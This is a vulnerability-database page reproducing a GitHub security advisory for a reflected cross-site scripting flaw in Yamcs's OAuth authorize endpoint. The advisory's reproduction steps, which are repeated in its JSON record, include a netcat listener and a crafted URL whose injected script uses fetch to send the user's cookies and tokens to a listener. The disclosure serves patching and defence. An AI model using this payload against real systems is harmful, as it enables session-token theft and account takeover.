GHSA-RXPG-WJF8-QV9C

Vulnerability from github – Published: 2026-08-28 17:17 – Updated: 2026-08-28 17:17
VLAI
Summary
Yamcs has Reflected XSS in the URL of the Authorize Endpoint
Details

Attack type:

Unauthenticated remote 

Impact:

Attackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token.

Affected components: authorize.html, AuthHandler.java, HandlerContext.java

A Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account.

Using a specially crafted URL, you are able to execute a JavaScript alert() call in the browser:

image

You then use JavaScript to obtain the user's cookies and display them in the alert:

image

Finally, use the fetch function to send the user's cookies to a remote server which we controlled:

image

Now you can set these cookies in our own browser and login to Yamcs as the user.

Steps to Reproduce

  1. Start Yamcs
  2. Login as a user
  3. In a terminal, start a netcat listener:
nc -nlvp 8888
  1. Paste the following URL payload in the browser
http://localhost:8090/auth/authorize?client_id=yamcs-web&state=Lw&response_mode=query&response_type=code&scope=openid&redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y"><script>fetch(`http://localhost:8888?c=${document.cookie}`)<%2Fscript>ekuou
  1. You will receive a connection on your netcat listener containing the user's access token and refresh token.

Acknowledgements

This vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.9.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55549"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T17:17:50Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Attack type:\u202f\nUnauthenticated remote\u202f \n\n### Impact: \nAttackers can execute arbitrary JavaScript in a user\u0027s browser, including obtaining a user\u0027s session token and refresh token.\n\n### Affected components: authorize.html, AuthHandler.java, HandlerContext.java\n\nA Reflected Cross-Site Scripting vulnerability exists in Yamcs \u003c=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user\u0027s browser. This vulnerability can be exploited to exfiltrate a logged-in user\u0027s access token and send it to a remote server, leading to the takeover of the user\u0027s account.\n\nUsing a specially crafted URL, you are able to execute a JavaScript `alert()` call in the browser:\n\n\u003cimg width=\"1794\" height=\"816\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4a5b6aa4-bceb-4b3d-bc5d-3dac0895ff2e\" /\u003e\n\nYou then use JavaScript to obtain the user\u0027s cookies and display them in the alert:\n\n\u003cimg width=\"1794\" height=\"1290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6c6d2837-db77-409a-a66d-0d2e4edd5435\" /\u003e\n\nFinally, use the `fetch` function to send the user\u0027s cookies to a remote server which we controlled:\n\n\u003cimg width=\"2370\" height=\"1025\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2989fc79-6ca0-4256-afc4-71d44d9923b8\" /\u003e\n\nNow you can set these cookies in our own browser and login to Yamcs as the user.\n\n## Steps to Reproduce\n1. Start Yamcs\n2. Login as a user\n3. In a terminal, start a netcat listener:\n\n```\nnc -nlvp 8888\n```\n\n4. Paste the following URL payload in the browser\n\n```\nhttp://localhost:8090/auth/authorize?client_id=yamcs-web\u0026state=Lw\u0026response_mode=query\u0026response_type=code\u0026scope=openid\u0026redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y\"\u003e\u003cscript\u003efetch(`http://localhost:8888?c=${document.cookie}`)\u003c%2Fscript\u003eekuou\n```\n\n5. You will receive a connection on your netcat listener containing the user\u0027s access token and refresh token.\n\n## Acknowledgements\nThis vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.",
  "id": "GHSA-rxpg-wjf8-qv9c",
  "modified": "2026-08-28T17:17:50Z",
  "published": "2026-08-28T17:17:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-rxpg-wjf8-qv9c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/commit/4d47d5cdcf5d92c2c5bbbc19feada422923332e3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yamcs/yamcs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.9.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Yamcs has Reflected XSS in the URL of the Authorize Endpoint"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…